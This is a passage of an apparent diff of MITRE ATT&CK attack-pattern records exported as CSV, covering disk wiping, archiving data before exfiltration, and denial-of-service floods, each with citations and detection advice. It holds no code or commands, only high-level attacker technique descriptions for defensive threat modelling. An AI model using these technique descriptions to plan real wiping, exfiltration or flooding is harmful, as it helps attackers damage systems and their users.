Blockbuster', 'description': 'Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.', 'url': 'https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf'}, {'source_name': 'Novetta Blockbuster Destructive Malware', 'description': 'Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.', 'url': 'https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf'}, {'source_name': 'DOJ Lazarus Sony 2018', 'description': 'Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.', 'url': 'https://www.justice.gov/opa/press-release/file/1092091/download'}, {'source_name': 'Microsoft Sysmon v6 May 2017', 'description': 'Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.', 'url': 'https://docs.microsoft.com/sysinternals/downloads/sysmon'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Command: Command Execution', 'Driver: Driver Load', 'Drive: Drive Access', 'Drive: Drive Modification']",,Look for attempts to read/write to sensitive locations like the partition boot sector or BIOS parameter block/superblock. Monitor for direct access read/write attempts using the \\\\.\\ notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.,True,"['SYSTEM', 'root', 'Administrator', 'User']","['Linux', 'macOS', 'Windows']",1.0,,,,,['Availability'],, +attack-pattern,attack-pattern--1988cc35-ced8-4dad-b2d1-7628488fa967,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-20T22:02:20.372Z,2020-03-28T23:00:00.599Z,Disk Wipe,"Adversaries may wipe or corrupt raw disk data on specific systems or in large numbers in a network to interrupt availability to system and network resources. With direct write access to a disk, adversaries may attempt to overwrite portions of disk data. Adversaries may opt to wipe arbitrary portions of disk data and/or wipe disk structures like the master boot record (MBR). A complete wipe of all disk sectors may be attempted. -To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disks may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1561', external_id='T1561'), ExternalReference(source_name='Novetta Blockbuster Destructive Malware', description='Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.', url='https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf'), ExternalReference(source_name='Microsoft Sysmon v6 May 2017', description='Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.', url='https://docs.microsoft.com/sysinternals/downloads/sysmon')]",attack-pattern--1988cc35-ced8-4dad-b2d1-7628488fa967,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='impact')]",2020-03-28 23:00:00.599000+00:00,Disk Wipe,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: Process Creation', 'Command: Command Execution', 'Driver: Driver Load', 'Drive: Drive Access', 'Drive: Drive Modification']",,,,,"Look for attempts to read/write to sensitive locations like the partition boot sector, master boot record, disk partition table, or BIOS parameter block/superblock. Monitor for direct access read/write attempts using the \\\\.\\ notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.",,,,['Availability'],False,,,"['User', 'root', 'SYSTEM', 'Administrator']","['Linux', 'macOS', 'Windows']",,,,1.0 -2020-02-20 21:09:55.995000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"An adversary may compress or encrypt data that is collected prior to exfiltration using a custom method. Adversaries may choose to use custom archival methods, such as encryption with XOR or stream ciphers implemented with no external library or utility references. Custom implementations of well-known compression algorithms have also been used.(Citation: ESET Sednit Part 2)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1560/003', external_id='T1560.003'), ExternalReference(source_name='ESET Sednit Part 2', description='ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.', url='http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf')]",attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='collection')]",2020-03-25 22:48:14.605000+00:00,Archive via Custom Method,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['File: File Creation', 'Script: Script Execution']",,,,,"Custom archival methods can be very difficult to detect, since many of them use standard programming language concepts, such as bitwise operations.",,,,,True,,,,"['Linux', 'macOS', 'Windows']",,,,1.0 -2020-02-20 21:08:52.529000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party libraries. Many libraries exist that can archive data, including [Python](https://attack.mitre.org/techniques/T1059/006) rarfile (Citation: PyPI RAR), libzip (Citation: libzip), and zlib (Citation: Zlib Github). Most libraries include functionality to encrypt and/or compress data. +To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disks may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1561', 'external_id': 'T1561'}, {'source_name': 'Novetta Blockbuster Destructive Malware', 'description': 'Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.', 'url': 'https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf'}, {'source_name': 'Microsoft Sysmon v6 May 2017', 'description': 'Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.', 'url': 'https://docs.microsoft.com/sysinternals/downloads/sysmon'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Command: Command Execution', 'Driver: Driver Load', 'Drive: Drive Access', 'Drive: Drive Modification']",,"Look for attempts to read/write to sensitive locations like the partition boot sector, master boot record, disk partition table, or BIOS parameter block/superblock. Monitor for direct access read/write attempts using the \\\\.\\ notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.",False,"['User', 'root', 'SYSTEM', 'Administrator']","['Linux', 'macOS', 'Windows']",1.0,,,,,['Availability'],, +attack-pattern,attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-20T21:09:55.995Z,2020-03-25T22:48:14.605Z,Archive via Custom Method,"An adversary may compress or encrypt data that is collected prior to exfiltration using a custom method. Adversaries may choose to use custom archival methods, such as encryption with XOR or stream ciphers implemented with no external library or utility references. Custom implementations of well-known compression algorithms have also been used.(Citation: ESET Sednit Part 2)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1560/003', 'external_id': 'T1560.003'}, {'source_name': 'ESET Sednit Part 2', 'description': 'ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.', 'url': 'http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Creation', 'Script: Script Execution']",,"Custom archival methods can be very difficult to detect, since many of them use standard programming language concepts, such as bitwise operations.",True,,"['Linux', 'macOS', 'Windows']",1.0,,,,,,, +attack-pattern,attack-pattern--41868330-6ee2-4d0f-b743-9f2294c3c9b6,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-20T21:08:52.529Z,2020-03-29T18:27:30.891Z,Archive via Library,"An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party libraries. Many libraries exist that can archive data, including [Python](https://attack.mitre.org/techniques/T1059/006) rarfile (Citation: PyPI RAR), libzip (Citation: libzip), and zlib (Citation: Zlib Github). Most libraries include functionality to encrypt and/or compress data. -Some archival libraries are preinstalled on systems, such as bzip2 on macOS and Linux, and zip on Windows. Note that the libraries are different from the utilities. The libraries can be linked against when compiling, while the utilities require spawning a subshell, or a similar execution mechanism.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1560/002', external_id='T1560.002'), ExternalReference(source_name='PyPI RAR', description='mkz. (2020). rarfile 3.1. Retrieved February 20, 2020.', url='https://pypi.org/project/rarfile/'), ExternalReference(source_name='libzip', description='D. Baron, T. Klausner. (2020). libzip. Retrieved February 20, 2020.', url='https://libzip.org/'), ExternalReference(source_name='Zlib Github', description='madler. (2017). zlib. Retrieved February 20, 2020.', url='https://github.com/madler/zlib'), ExternalReference(source_name='Wikipedia File Header Signatures', description='Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.', url='https://en.wikipedia.org/wiki/List_of_file_signatures')]",attack-pattern--41868330-6ee2-4d0f-b743-9f2294c3c9b6,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='collection')]",2020-03-29 18:27:30.891000+00:00,Archive via Library,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['File: File Creation', 'Script: Script Execution']",,,,,"Monitor processes for accesses to known archival libraries. This may yield a significant number of benign events, depending on how systems in the environment are typically used. +Some archival libraries are preinstalled on systems, such as bzip2 on macOS and Linux, and zip on Windows. Note that the libraries are different from the utilities. The libraries can be linked against when compiling, while the utilities require spawning a subshell, or a similar execution mechanism.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1560/002', 'external_id': 'T1560.002'}, {'source_name': 'PyPI RAR', 'description': 'mkz. (2020). rarfile 3.1. Retrieved February 20, 2020.', 'url': 'https://pypi.org/project/rarfile/'}, {'source_name': 'libzip', 'description': 'D. Baron, T. Klausner. (2020). libzip. Retrieved February 20, 2020.', 'url': 'https://libzip.org/'}, {'source_name': 'Zlib Github', 'description': 'madler. (2017). zlib. Retrieved February 20, 2020.', 'url': 'https://github.com/madler/zlib'}, {'source_name': 'Wikipedia File Header Signatures', 'description': 'Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.', 'url': 'https://en.wikipedia.org/wiki/List_of_file_signatures'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Creation', 'Script: Script Execution']",,"Monitor processes for accesses to known archival libraries. This may yield a significant number of benign events, depending on how systems in the environment are typically used. -Consider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)",,,,,True,,,,"['Linux', 'macOS', 'Windows']",,,,1.0 -2020-02-20 21:01:25.428000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party utilities. Many utilities exist that can archive data, including 7-Zip(Citation: 7zip Homepage), WinRAR(Citation: WinRAR Homepage), and WinZip(Citation: WinZip Homepage). Most utilities include functionality to encrypt and/or compress data. +Consider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)",True,,"['Linux', 'macOS', 'Windows']",1.0,,,,,,, +attack-pattern,attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-20T21:01:25.428Z,2020-03-25T21:54:37.374Z,Archive via Utility,"An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party utilities. Many utilities exist that can archive data, including 7-Zip(Citation: 7zip Homepage), WinRAR(Citation: WinRAR Homepage), and WinZip(Citation: WinZip Homepage). Most utilities include functionality to encrypt and/or compress data. -Some 3rd party utilities may be preinstalled, such as `tar` on Linux and macOS or `zip` on Windows systems.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1560/001', external_id='T1560.001'), ExternalReference(source_name='7zip Homepage', description='I. Pavlov. (2019). 7-Zip. Retrieved February 20, 2020.', url='https://www.7-zip.org/'), ExternalReference(source_name='WinRAR Homepage', description='A. Roshal. (2020). RARLAB. Retrieved February 20, 2020.', url='https://www.rarlab.com/'), ExternalReference(source_name='WinZip Homepage', description='Corel Corporation. (2020). WinZip. Retrieved February 20, 2020.', url='https://www.winzip.com/win/en/'), ExternalReference(source_name='Wikipedia File Header Signatures', description='Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.', url='https://en.wikipedia.org/wiki/List_of_file_signatures')]",attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='collection')]",2020-03-25 21:54:37.374000+00:00,Archive via Utility,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: Process Creation', 'Command: Command Execution', 'File: File Creation']",,,,,"Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known archival utilities. This may yield a significant number of benign events, depending on how systems in the environment are typically used. +Some 3rd party utilities may be preinstalled, such as `tar` on Linux and macOS or `zip` on Windows systems.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1560/001', 'external_id': 'T1560.001'}, {'source_name': '7zip Homepage', 'description': 'I. Pavlov. (2019). 7-Zip. Retrieved February 20, 2020.', 'url': 'https://www.7-zip.org/'}, {'source_name': 'WinRAR Homepage', 'description': 'A. Roshal. (2020). RARLAB. Retrieved February 20, 2020.', 'url': 'https://www.rarlab.com/'}, {'source_name': 'WinZip Homepage', 'description': 'Corel Corporation. (2020). WinZip. Retrieved February 20, 2020.', 'url': 'https://www.winzip.com/win/en/'}, {'source_name': 'Wikipedia File Header Signatures', 'description': 'Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.', 'url': 'https://en.wikipedia.org/wiki/List_of_file_signatures'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Command: Command Execution', 'File: File Creation']",,"Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known archival utilities. This may yield a significant number of benign events, depending on how systems in the environment are typically used. -Consider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)",,,,,True,,,,"['Linux', 'macOS', 'Windows']",,,,1.0 -2020-02-20 20:53:45.725000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender. +Consider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)",True,,"['Linux', 'macOS', 'Windows']",1.0,,,,,,, +attack-pattern,attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-20T20:53:45.725Z,2020-10-21T16:36:55.831Z,Archive Collected Data,"An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender. -Both compression and encryption are done prior to exfiltration, and can be performed using a utility, 3rd party library, or custom method.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1560', external_id='T1560'), ExternalReference(source_name='Wikipedia File Header Signatures', description='Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.', url='https://en.wikipedia.org/wiki/List_of_file_signatures')]",attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='collection')]",2020-10-21 16:36:55.831000+00:00,Archive Collected Data,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: Process Creation', 'Command: Command Execution', 'File: File Creation', 'Script: Script Execution']",,,,,"Archival software and archived files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known archival utilities. This may yield a significant number of benign events, depending on how systems in the environment are typically used. +Both compression and encryption are done prior to exfiltration, and can be performed using a utility, 3rd party library, or custom method.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1560', 'external_id': 'T1560'}, {'source_name': 'Wikipedia File Header Signatures', 'description': 'Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.', 'url': 'https://en.wikipedia.org/wiki/List_of_file_signatures'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Command: Command Execution', 'File: File Creation', 'Script: Script Execution']",,"Archival software and archived files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known archival utilities. This may yield a significant number of benign events, depending on how systems in the environment are typically used. A process that loads the Windows DLL crypt32.dll may be used to perform encryption, decryption, or verification of file signatures. -Consider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)",,,,,False,,,,"['Linux', 'macOS', 'Windows']",,,,1.0 -2020-02-20 15:37:27.052000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may exploit software vulnerabilities that can cause an application or system to crash and deny availability to users. (Citation: Sucuri BIND9 August 2015) Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent DoS condition.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1499/004', external_id='T1499.004'), ExternalReference(source_name='Sucuri BIND9 August 2015', description='Cid, D.. (2015, August 2). BIND9 – Denial of Service Exploit in the Wild. Retrieved April 26, 2019.', url='https://blog.sucuri.net/2015/08/bind9-denial-of-service-exploit-in-the-wild.html')]",attack-pattern--2bee5ffb-7a7a-4119-b1f2-158151b19ac0,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='impact')]",2021-03-29 16:09:41.559000+00:00,Application or System Exploitation,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Sensor Health: Host Status', 'Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']",,,,,"Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack. Externally monitor the availability of services that may be targeted by an Endpoint DoS.",,,,['Availability'],True,,,,"['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace']",,,,1.1 -2020-02-20 15:35:00.025000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Adversaries may target resource intensive features of web applications to cause a denial of service (DoS). Specific features in web applications may be highly resource intensive. Repeated requests to those features may be able to exhaust system resources and deny access to the application or the server itself. (Citation: Arbor AnnualDoSreport Jan 2018),"[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1499/003', external_id='T1499.003'), ExternalReference(source_name='Arbor AnnualDoSreport Jan 2018', description=""Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019."", url='https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf'), ExternalReference(source_name='Cisco DoSdetectNetflow', description='Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.', url='https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf')]",attack-pattern--18cffc21-3260-437e-80e4-4ab8bf2ba5e9,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='impact')]",2021-03-29 16:08:52.118000+00:00,Application Exhaustion Flood,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Sensor Health: Host Status', 'Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']",,,,,"Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts. +Consider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)",False,,"['Linux', 'macOS', 'Windows']",1.0,,,,,,, +attack-pattern,attack-pattern--2bee5ffb-7a7a-4119-b1f2-158151b19ac0,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-20T15:37:27.052Z,2021-03-29T16:09:41.559Z,Application or System Exploitation,"Adversaries may exploit software vulnerabilities that can cause an application or system to crash and deny availability to users. (Citation: Sucuri BIND9 August 2015) Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent DoS condition.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1499/004', 'external_id': 'T1499.004'}, {'source_name': 'Sucuri BIND9 August 2015', 'description': 'Cid, D.. (2015, August 2). BIND9 – Denial of Service Exploit in the Wild. Retrieved April 26, 2019.', 'url': 'https://blog.sucuri.net/2015/08/bind9-denial-of-service-exploit-in-the-wild.html'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Sensor Health: Host Status', 'Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']",,"Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack. Externally monitor the availability of services that may be targeted by an Endpoint DoS.",True,,"['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace']",1.1,,,,,['Availability'],, +attack-pattern,attack-pattern--18cffc21-3260-437e-80e4-4ab8bf2ba5e9,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-20T15:35:00.025Z,2021-03-29T16:08:52.118Z,Application Exhaustion Flood,Adversaries may target resource intensive features of web applications to cause a denial of service (DoS). Specific features in web applications may be highly resource intensive. Repeated requests to those features may be able to exhaust system resources and deny access to the application or the server itself. (Citation: Arbor AnnualDoSreport Jan 2018),"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1499/003', 'external_id': 'T1499.003'}, {'source_name': 'Arbor AnnualDoSreport Jan 2018', 'description': ""Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019."", 'url': 'https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf'}, {'source_name': 'Cisco DoSdetectNetflow', 'description': 'Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.', 'url': 'https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Sensor Health: Host Status', 'Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']",,"Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts. -In addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt.",,,,['Availability'],True,,,,"['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace']",,,,1.1 -2020-02-20 15:31:43.613000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may target the different network services provided by systems to conduct a DoS. Adversaries often target DNS and web services, however others have been targeted as well.(Citation: Arbor AnnualDoSreport Jan 2018) Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service. +In addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt.",True,,"['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace']",1.1,,,,,['Availability'],, +attack-pattern,attack-pattern--38eb0c22-6caf-46ce-8869-5964bd735858,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-20T15:31:43.613Z,2021-03-29T16:11:12.815Z,Service Exhaustion Flood,"Adversaries may target the different network services provided by systems to conduct a DoS. Adversaries often target DNS and web services, however others have been targeted as well.(Citation: Arbor AnnualDoSreport Jan 2018) Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service. One example of this type of attack is known as a simple HTTP flood, where an adversary sends a large number of HTTP requests to a web server to overwhelm it and/or an application that runs on top of it. This flood relies on raw volume to accomplish the objective, exhausting any of the various resources required by the victim software to provide the service.(Citation: Cloudflare HTTPflood) -Another variation, known as a SSL renegotiation attack, takes advantage of a protocol feature in SSL/TLS. The SSL/TLS protocol suite includes mechanisms for the client and server to agree on an encryption algorithm to use for subsequent secure connections. If SSL renegotiation is enabled, a request can be made for renegotiation of the crypto algorithm. In a renegotiation attack, the adversary establishes a SSL/TLS connection and then proceeds to make a series of renegotiation requests. Because the cryptographic renegotiation has a meaningful cost in computation cycles, this can cause an impact to the availability of the service when done in volume.(Citation: Arbor SSLDoS April 2012)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1499/002', external_id='T1499.002'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/488.html', external_id='CAPEC-488'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/489.html', external_id='CAPEC-489'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/528.html', external_id='CAPEC-528'), ExternalReference(source_name='Arbor AnnualDoSreport Jan 2018', description=""Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019."", url='https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf'), ExternalReference(source_name='Cloudflare HTTPflood', description='Cloudflare. (n.d.). What is an HTTP flood DDoS attack?. Retrieved April 22, 2019.', url='https://www.cloudflare.com/learning/ddos/http-flood-ddos-attack/'), ExternalReference(source_name='Arbor SSLDoS April 2012', description='ASERT Team, Netscout Arbor. (2012, April 24). DDoS Attacks on SSL: Something Old, Something New. Retrieved April 22, 2019.', url='https://www.netscout.com/blog/asert/ddos-attacks-ssl-something-old-something-new'), ExternalReference(source_name='Cisco DoSdetectNetflow', description='Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.', url='https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf')]",attack-pattern--38eb0c22-6caf-46ce-8869-5964bd735858,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='impact')]",2021-03-29 16:11:12.815000+00:00,Service Exhaustion Flood,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Sensor Health: Host Status', 'Application Log: Application Log Content', 'Network Traffic: Network 